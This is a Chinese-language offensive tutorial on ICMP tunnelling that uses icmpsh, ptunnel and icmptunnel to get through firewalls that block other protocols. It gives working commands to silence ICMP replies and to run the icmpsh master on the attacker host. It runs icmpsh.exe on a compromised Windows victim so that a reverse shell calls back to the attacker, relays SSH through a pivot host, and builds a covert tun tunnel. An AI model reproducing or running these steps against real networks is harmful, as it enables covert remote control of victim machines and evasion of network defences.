1、ICMP隧道的建立同样是建立在ICMP未被防火墙禁用的情况下使用的,就是PING命令,其原理就是在ICMP报文传输的时候,替换其中的Data部分的数据,并且对端通过一样的工具进行ICMP畸形包的处理。从而将恶意流量隐藏在ICMP数据包中,形成ICMP隧道。
适用于被攻击主机可ping攻击机,可作为临时绕过防火墙。
2、Icmpsh
1、ICMPSH最大的优点是不需要太大的权限即可使用
其使用环境拓扑图可能为这样,不过其他的协议(除IMCP外的协议)与端口都被中间看不见的FireWall所阻挡。
2、我们在运行此程序时需要关闭自身的ICMP应答(可能需要另外下载一个python包)
关闭应答:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
apt-get install python-impacket
3、然后在V**攻击机上运行
./icmpsh_m.py <V**-IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING V** 从而得知,两者要能互相PING通)
例如:./icmpsh_m.py 192.168.49.138 192.168.49.129
4、接着在内网受害主机下(windows)执行
icmpsh.exe -t V**_IP -d 500 -s 128
可直接获取shell
5、总结:Icmpsh 使用简单,通过imcp协议绕过防火墙对其他协议的阻拦。要求是两者能够相互ping通信,可直接反弹shell。
3、ptunnel(kali自带)
1、此工具虽然与ICMPSH一样都是使用ICMP协议进行通信的,但是不一样的是,ICMPSH常用于直接反弹shell,而ptunnel采用的是隧道中转,因此需要内网存在一个跳板机
2、同样它需要把自身的ICMP响应关闭
sysctl -w net.ipv4.icmp_echo_ignore_all=1
3、这里构造一个拓扑如下
4、在B主机(跳板服务器)和主机C装上Ptunnel(kali自带)
5、B主机 开启ptunnel
C主机:
ptunnel -p 192.168.137.128 -lp 1234 -da 192.168.44.130 -dp 22
-p :跳板机的ip -lp:自己监听的端口 -da:内网目标的主机IP -dp:想连接的目标的端口
C主机最后在ssh -p 22 127.0.0.1 或者D主机 ssh -p 22 192.168.137.129 即可
6、总结:ptunnel 用于内网流量的中转,以ICMP协议为通道,起到一个内网跳板机的作用。
4、IcmpTunnel,效果和ICMPSH差不多
git clone https://github.com/jamesbarlow/icmptunnel.git
1、cd icmptunnel&&make
2、接下来在A建立一个服务段,在B建立一个客户端
A:
./icmptunnel -s && bg /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
B:
./icmptunnel A-IP && bg /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
3、最终效果为以下,两者建立一个特定IP的通道进行连接
参考文章:
https://www.freebuf.com/sectool/210450.html